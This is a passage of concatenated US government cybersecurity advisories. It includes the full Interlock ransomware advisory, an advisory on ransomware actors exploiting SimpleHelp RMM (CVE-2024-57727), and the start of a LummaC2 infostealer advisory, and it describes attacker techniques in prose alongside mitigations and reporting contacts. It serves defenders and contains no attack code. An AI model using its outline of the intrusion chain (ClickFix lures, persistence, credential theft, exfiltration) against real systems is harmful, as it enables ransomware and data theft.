  • Do not assign roles like db_owner or sysadmin to application accounts. This reduces the risk of privilege escalation and enhances accountability through segregated access logs.
• Use machine.config only for configurations that must be applied globally across all applications on the server.
  • Audit the machine.config file to ensure no application-specific settings are present.

Enforce Strong Password Policies

• Implement a system-enforced policy that requires a minimum password length of 15 or more characters for all password-protected IT assets and all OT assets, when technically feasible [CPG 2.B].
  • Consider leveraging passphrases and password managers to make it easier for users to maintain sufficiently long passwords.
• In instances where minimum password lengths are not technically feasible, apply and record compensating controls, such as rate-limiting login attempts, account lockout thresholds, and strong network segmentation. Prioritize these systems for upgrade or replacement.
• Implement MFA [CPG 2.H] in addition to strong passwords (i.e., passwords 15 characters or longer).

Additional Mitigation Recommendations to Strengthen Cybersecurity

CISA and USCG recommend critical infrastructure organizations implement the following additional mitigations (not tied to specific findings from the engagement) to improve the cybersecurity of their IT and OT environments:

• Secure RDP from the IT to OT environments by deploying dedicated VPNs for all remote interactions with the OT network. Using RDP without strong authentication practices can lead to credential theft. Additionally, RDP does not inherently segregate or closely monitor user sessions, which can allow a compromised session to affect other parts of the network.
  • Deploy VPNs with strong encryption protocols such as SSL/TLS or Internet Protocol Security (IPsec) [CPG 2.K] to safeguard data integrity and confidentiality; use MFA [CPG 2.H] at all VPN access points to ensure only authorized personnel can gain access.
  • Configure VPN gateways to perform rigorous security checks and manage traffic destined for the OT network, ensuring comprehensive validation of all communications through pre-defined security policies.
    • VPN gateways should function as the primary enforcement points for access controls, scrutinizing every data packet to detect and block unauthorized access attempts.
  • Align the VPN traffic monitoring with the DMZ’s capabilities to regulate and inspect the data flow between IT and OT environments.
  • As part of the broader network architecture review, ensure the VPN infrastructure is correctly segmented from other network resources [CPG 2.F] to prevent any spillover effects from the IT environment to the OT network, containing potential breaches within isolated network zones.
  • Within the VPN configuration, enforce strict routing rules that require all remote access requests to pass through the DMZ and be authenticated by bastion hosts. This minimizes the risk of unauthorized access and ensures that all remote interactions with the OT network are monitored and controlled.
• If wireless technology is employed within the OT environment, implement Wi-fi Protected Access 3 (WPA3)-Enterprise encryption with strong authentication protocols like Extensible Authentication Protocol (EAP)-TLS to ensure data confidentiality and integrity.
  • Deploy and continuously monitor Wireless Intrusion Prevention Systems (WIPS) to detect, prevent, and respond to unauthorized access attempts and anomalous activities within the wireless network infrastructure.
  • Disable unnecessary features like Service Set Identifier (SSID) broadcasting and peer-to-peer networking, enable Media Access Control (MAC) filtering as an additional layer, and keep wireless firmware updated.

Validate Security Controls

In addition to applying mitigations, CISA and USCG recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and USCG recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 9).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program—including people, processes, and technologies—based on the data generated by this process.

CISA and USCG recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Contact Information

Critical infrastructure organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:

• CISA via CISA’s 24/7 Operations Center (SOC@mail.cisa.dhs.gov or 888-282-0870) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• Coast Guard, for Maritime Transportation System Subsector organizations. Report malicious activities to the Coast Guard’s National Response Center (1-800-424-8802) per Navigation and Vessel Inspection Circular (NVIC) 02-24 when facilities observe any unusual activity or interruptions to their network. For additional Coast Guard resources, please visit the Coast Guard Maritime Industry Cybersecurity Resource Center website. CGCYBER can also be contacted at maritimecyber@uscg.mil.

Additional Resources

For more information on improving cyber hygiene for critical infrastructure IT and OT environments, please see the following additional resources authored by CISA, CGCYBER, and international partners:

• CGCYBER 2024 CTIME Report
• Joint Guidance Best Practices for Event Logging and Threat Detection
• Joint Guidance Principles of Operational Technology Cyber Security

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and USCG do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and USCG.

Version History

July 31, 2025: Initial version.

Appendix: MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 9 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Source: US-CERT Alerts

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), Department of Health and Human Services (HHS), and Multi-State Information Sharing and Analysis Center (MS-ISAC)—hereafter referred to as “the authoring organizations”—are releasing this joint advisory to disseminate known Interlock ransomware IOCs and TTPs identified through FBI investigations (as recently as June 2025) and trusted third-party reporting.

The Interlock ransomware variant was first observed in late September 2024, targeting various business, critical infrastructure, and other organizations in North America and Europe. FBI maintains these actors target their victims based on opportunity, and their activity is financially motivated. FBI is aware of Interlock ransomware encryptors designed for both Windows and Linux operating systems; these encryptors have been observed encrypting virtual machines (VMs) across both operating systems. FBI observed actors obtaining initial access via drive-by download from compromised legitimate websites, which is an uncommon method among ransomware groups. Actors were also observed using the ClickFix social engineering technique for initial access, in which victims are tricked into executing a malicious payload under the guise of fixing an issue on the victim’s system. Actors then use various methods for discovery, credential access, and lateral movement to spread to other systems on the network.

Interlock actors employ a double extortion model in which actors encrypt systems after exfiltrating data, which increases pressure on victims to pay the ransom to both get their data decrypted and prevent it from being leaked. 

FBI, CISA, HHS, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Interlock ransomware incidents.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 17. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables mapped to the threat actors’ activity.

Overview

Since September 2024, Interlock ransomware actors have impacted a wide range of businesses and critical infrastructure sectors in North America and Europe. These actors are opportunistic and financially motivated in nature and employ tactics to infiltrate and disrupt the victim’s ability to provide their essential services. 

Interlock actors leverage a double extortion model, in which they both encrypt and exfiltrate victim data. Ransom notes do not include an initial ransom demand or payment instructions; instead, victims are provided with a unique code and are instructed to contact the ransomware group via a .onion URL through the Tor browser. To date, Interlock actors have been observed encrypting VMs, leaving hosts, workstations, and physical servers unaffected; however, this does not mean they will not expand to these systems in the future. To counter Interlock actors’ threat to VMs, enterprise defenders should implement robust endpoint detection and response (EDR) tooling and capabilities.

The authoring agencies are aware of emerging open-source reporting detailing similarities between the Rhysida and Interlock ransomware variants.¹ For additional information on Rhysida ransomware, see the joint advisory, #StopRansomware: Rhysida Ransomware.

Initial Access

FBI has observed Interlock actors obtaining initial access [TA0001] via drive-by download [T1189] from compromised legitimate websites, an atypical method for ransomware actors. Interlock ransomware methods for initial access have previously disguised malicious payloads as fake Google Chrome or Microsoft Edge browser updates, though a cybersecurity company recently reported a shift to payload filenames masquerading as updates for common security software (see Table 5 for a list of filenames).²

In some instances, FBI has observed Interlock actors using the ClickFix social engineering technique, in which unsuspecting users are prompted to execute a malicious payload by clicking a fake Completely Automated Public Turing test to tell Computers and Humans Apart (CAPTCHA) [T1189]. The CAPTCHA contains instructions for users to open the Windows Run window, paste the clipboard contents, and then execute a malicious Base64-encoded PowerShell process [T1204.004].³

Note: This ClickFix technique has been used in several other malware campaigns, including Lumma Stealer and DarkGate.⁴

Execution and Persistence

Based on FBI investigations, the fake Google Chrome browser executable functions as a remote access trojan (RAT) [T1105] designed to execute a PowerShell script [T1059.001] that drops a file into the Windows Startup folder. From there, the file is designed to run the RAT every time the victim logs in [T1547.001], establishing persistence [TA0003]. 

FBI also observed instances in which Interlock actors executed a PowerShell command designed to establish persistence via a Windows Registry key modification [T1547.001]. To do so, Interlock actors used a PowerShell command [T1059.001] designed to add a run key value named “Chrome Updater” [T1036.005] that uses a specific log file as an argument upon user login.

Reconnaissance

To facilitate reconnaissance, a PowerShell script executes a series of commands [T1059.001] designed to gather information on victim machines (see Table 1).

Command and Control

FBI observed Interlock actors using command and control (C2) [TA0011] applications like Cobalt Strike and SystemBC. Interlock actors also used Interlock RAT⁵ and NodeSnake RAT (as of March 2025)⁶ for C2 and executing commands.

Credential Access, Lateral Movement, and Privilege Escalation

FBI observed that once Interlock actors establish remote control of a compromised system, they use a series of PowerShell commands to download a credential stealer (cht.exe) [TA0006] and keylogger binary (klg.dll) [T1056.001],[T1105]. According to open source reporting, the credential stealer collects login information and associated URLs for victims’ online accounts [T1555.003], while the keylogger dynamic link library (DLL) logs users’ keystrokes in a file named conhost.txt [T1036.005].⁷ As of February 2025, private cybersecurity analysts also observed Interlock ransomware infections executing different versions of information stealers [TA0006], including Lumma Stealer⁸ and Berserk Stealer, to harvest credentials for lateral movement and privilege escalation [T1078].⁹

Interlock actors leverage compromised credentials and Remote Desktop Protocol (RDP)¹⁰ [T1021.001] to move between systems. They also use tools like AnyDesk to enable remote connectivity and PuTTY to assist with lateral movement [T1219].¹¹ In addition to stealing users’ online credentials, Interlock actors have compromised domain administrator accounts (possibly by using a Kerberoasting attack [T1558.003])¹² to gain additional privileges [T1078.002]. 

Collection and Exfiltration

Interlock actors leverage Azure Storage Explorer (StorageExplorer.exe) to navigate victims’ Microsoft Azure Storage accounts [T1530] prior to exfiltrating data. According to open source reporting, Interlock actors execute AzCopy to exfiltrate data by uploading it to the Azure storage blob [T1567.002].¹³ Interlock actors also exfiltrate data over file transfer tools, including WinSCP [T1048].

Impact

Following data exfiltration, Interlock actors deploy the encryption binary as a 64-bit executable named conhost.exe [T1486],[T1036.005]. FBI has observed Interlock ransomware encryptors for both Windows and Linux operating systems. Encryptors are designed to encrypt files using a combined Advanced Encryption Standard (AES) and Rivest-Shamir-Adleman (RSA) algorithm. In addition, cybersecurity researchers have identified Interlock ransomware samples using a FreeBSD ELF encryptor [T1486], a departure from usual Linux encryptors designed for VMware ESXi servers and VMs.¹⁴

A cybersecurity company identified a DLL binary named tmp41.wasd—executed after encryption using rundll32.exe [T1218.011]—which uses the remove() function to delete the encryption binary [T1070.004];¹⁵ on Linux machines, the encryptor uses a similar technique to execute the removeme function. 

Encrypted files are appended with either a .interlock or .1nt3rlock file extension, alongside a ransom note titled !__README__!.txt delivered via group policy object (GPO). Interlock actors use a double-extortion model [T1657], encrypting systems after exfiltrating data. The ransom note provides each victim with a unique code and instructions to contact the ransomware actors via a .onion URL. 

Interlock actors do not leave an initial ransom demand or payment instructions on compromised networks, and do not relay this information until contacted by the victim. The actors instruct victims to make ransom payments in Bitcoin to cryptocurrency wallet addresses provided by the actors. The actors threaten to publish the victim’s exfiltrated data to their leak site on the Tor network unless the victim pays the ransom demand; the actors have previously followed through on this threat.¹⁶

Leveraged Tools

See Table 2 for publicly available tools and applications used by Interlock ransomware actors. This includes legitimate tools repurposed for their operations.

Disclaimer: Use of these tools and applications should not be attributed as malicious without analytical evidence to support threat actor use and/or control.

Leveraged Files

See Table 3 and Table 4 for files used by Interlock ransomware actors. These were obtained from FBI investigations as recently as June 2025.

Disclaimer: Some of the hashes are for legitimate tools and applications and should not be attributed as malicious without analytical evidence to support threat actor use and/or control. The authoring agencies recommend organizations investigate or vet these hashes prior to taking action, such as blocking.

MITRE ATT&CK Tactics and Techniques

See Table 5 through Table 16 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the Interlock ransomware actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

In addition to the below mitigations, Healthcare and Public Health (HPH) organizations should use HPH Sector CPGs to implement cybersecurity protections to address the most common threats and TTPs used against this sector.

At-risk organizations should implement the following mitigations:

• Prevent Interlock ransomware actors from obtaining initial access:
  • Implement domain name system (DNS) filtering to block users from accessing malicious sites and applications.
  • Implement web access firewalls to mitigate and prevent unknown commands or process injection from malicious domains or websites.
  • Train users [CPG 2.I] to identify, avoid, and report social engineering attempts.
• Implement a recovery plan [CPG 5.A] to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.R].
• Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST password standards.
  • Require employees to use long passwords [CPG 2.B] and consider not requiring recurring password changes, as these can weaken security.
• Require MFA [CPG 2.H] for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems.
  • Implement ICAM policies across the organization as a precursor to MFA.
• Keep all operating systems, software, and firmware up to date; prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
  • Timely patching is efficient and cost effective for minimizing an organization’s exposure to cybersecurity threats.
• Implement robust EDR capabilities on VMs, systems, and networks.
• Segment networks [CPG 2.F] to prevent the spread of ransomware.
  • Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware [CPG 3.A] with a networking monitoring tool [CPG 2.T].
  • To aid in detecting ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network.
  • Implement EDR tools; these are useful for detecting lateral connections as they provide insight into common and uncommon network connections for each host.
• Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems.
  • This prevents threat actors from directly connecting to remote access services that they have established for persistence.
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
• Disable unused ports.
• Consider adding an email banner to emails received from outside of your organization [CPG 2.M].
• Disable hyperlinks in received emails.
• Implement time-based access for accounts set at the admin level and higher; for example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model):
  • This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need.
  • Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
• Disable command line and scripting activities and permissions [CPG 2.N].
  • Disabling software utilities that run from the command line makes it more difficult for threat actors to escalate privileges and move laterally.
• Maintain offline backups of data and regularly maintain backups and restorations [CPG 2.R]; this avoids severe service interruption and irretrievable data in the event of a compromise.
• Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.R].

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 5 through Table 16).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

• Stopransomware.gov: Whole-of-government, central location for ransomware resources and alerts.
• HHS Cyber Gateway: Contains key resources for HPH entities to bolster their cyber resilience.
• #StopRansomware Guide: Resource to mitigate a ransomware attack.
• Cyber Hygiene Services, Ransomware Readiness Assessment: CISA’s no-cost cyber hygiene services.
• MS-ISAC Services: MS-ISAC’s no-cost cybersecurity services for state, local, tribal, and territorial (SLTT) entities.
• Ransomware Defense-in-Depth: MS-ISAC guidance for SLTT entities to mitigate the threat of ransomware using a defense-in-depth strategy.
• Combatting Ransomware: MS-ISAC guidance on ransomware mitigation strategies aligned with recommendations from NIST and CSF.

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The authoring agencies do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (contact@mail.cisa.dhs.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

State, local, tribal, and territorial governments should report incidents to the MS-ISAC (SOC@cisecurity.org or 866-787-4722).

HPH Sector organizations should report incidents to FBI or CISA but also can reach out to HHS at HHScyber@hhs.gov for cyber incident support focused on mitigating adverse patient impacts.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by the authoring agencies. 

Acknowledgements

Cisco Talos contributed to this advisory.

Version History

July 22, 2025: Initial version.

Notes

¹ Elio Biasiotto, et. al., “Unwrapping the Emerging Interlock Ransomware Attack,” Talos Intelligence (blog), Cisco Talos, last modified November 7, 2024, https://blog.talosintelligence.com/emerging-interlock-ransomware/.

² Sekoia Threat Detection and Research team, “Interlock Ransomware Evolving Under the Radar,” Sekoia (blog), Sekoia, last modified April 16, 2025, https://blog.sekoia.io/interlock-ransomware-evolving-under-the-radar/.

³ Yashvi Shah and Vignesh Dhatchanamoorthy, “ClickFix Deception: A Social Engineering Tactic to Deploy Malware,” McAfee Labs (blog), McAfee,last modified June 11, 2024, https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clickfix-deception-a-social-engineering-tactic-to-deploy-malware/ and “HC3 Sector Alert: ClickFix Attacks,” Health Sector Cybersecurity Coordination Center, Department of Health and Human Services, last modified October 29, 2024, https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf.

⁴ Shah, “ClickFix Deception: A Social Engineering Tactic to Deploy Malware.”

⁵ Sekoia Threat Detection and Research team, “Interlock Ransomware Evolving Under the Radar.”

⁶ Bill Toulas, “Interlock Ransomware Gang Deploys New NodeSnake RAT on Universities,“ Bleeping Computer, May 28, 2025, https://www.bleepingcomputer.com/news/security/interlock-ransomware-gang-deploys-new-nodesnake-rat-on-universities/.

⁷ Biasiotto, “Unwrapping the Emerging Interlock Ransomware Attack.”

⁸ International law-enforcement and Microsoft took down the Lumma Stealer malware in May 2025 by seizing internet domains the actors used to distribute the malware to actors and taking down domains that hosted the malware’s infrastructure. For more information, see Tara Seals, “Lumma Stealer Takedown Reveals Sprawling Operation,” Dark Reading, May 21, 2025, https://www.darkreading.com/cybersecurity-operations/lumma-stealer-takedown-sprawling-operation, and Steven Masada, “Disrupting Lumma Stealer: Microsoft Leads Global Action Against Favored Cybercrime Tool,” Microsoft On the Issues (blog), Microsoft, last modified May 21, 2025, https://blogs.microsoft.com/on-the-issues/2025/05/21/microsoft-leads-global-action-against-favored-cybercrime-tool/.

⁹ Sekoia Threat Detection and Research team, “Interlock Ransomware Evolving Under the Radar.”

¹⁰ Biasiotto, “Unwrapping the Emerging Interlock Ransomware Attack.”

¹¹ Biasiotto, “Unwrapping the Emerging Interlock Ransomware Attack.”

¹² Biasiotto, “Unwrapping the Emerging Interlock Ransomware Attack.”

¹³ Biasiotto, “Unwrapping the Emerging Interlock Ransomware Attack.”

¹⁴ Lawrence Abrams, “Meet Interlock — The New Ransomware Targeting FreeBSD Servers,” Bleeping Computer, November 3, 2024, https://www.bleepingcomputer.com/news/security/meet-interlock-the-new-ransomware-targeting-freebsd-servers/.

¹⁵ Biasiotto, “Unwrapping the Emerging Interlock Ransomware Attack.”

¹⁶ Graham Cluley, “Interlock Ransomware: What You Need to Know,” Fortra (blog), Fortra, last modified May 30, 2025, https://www.tripwire.com/state-of-security/interlock-ransomware-what-you-need-know.

¹⁷ Sekoia Threat Detection and Research team, “Interlock Ransomware Evolving Under the Radar.”

Source: US-CERT Alerts

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹ Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹ 

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <file_path>/SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

1. Isolate the SimpleHelp server instance from the internet or stop the server process.
2. Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
3. Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

• Windows: %APPDATA%JWrapper-Remote Access
• Linux: /opt/JWrapper-Remote Access
• MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in <file_path>/JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with <ConnectTo indicate the server addresses where the service is registered.

SimpleHelp Server

Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.

If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

1.  Refer to SimpleHelp’s guidance to determine compromise and next steps.³
2. Isolate the SimpleHelp server instance from the internet or stop the server process.
3. Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
4. Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.

Encrypted Downstream Customers and End Users

If a system has been encrypted by ransomware:

1. Disconnect the affected system from the internet.
2. Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
3. Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).

Proactive Mitigations to Reduce Risk

To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

• Maintain a robust asset inventory and hardware list [CPG 1.A].
• Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
• Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
• Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
• Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
• For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
  • An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.

Resources

• Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
• Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
• CISA: #StopRansomware Guide

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.

Version History

June 12, 2025: Initial version.

Notes

1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

Source: US-CERT Alerts

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint advisory to disseminate known tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) associated with threat actors deploying the LummaC2 information stealer (infostealer) malware. LummaC2 malware is able to infiltrate victim computer networks and exfiltrate sensitive information, threatening vulnerable individuals’ and organizations’ computer networks across multiple U.S. critical infrastructure sectors. According to FBI information and trusted third-party reporting, this activity has been observed as recently as May 2025. The IOCs included in this advisory were associated with LummaC2 malware infections from November 2023 through May 2025.

The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of LummaC2 malware.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 17. See the MITRE ATT&CK Tactics and Techniques section of this advisory for threat actor activity mapped to MITRE ATT&CK tactics and techniques.

Overview

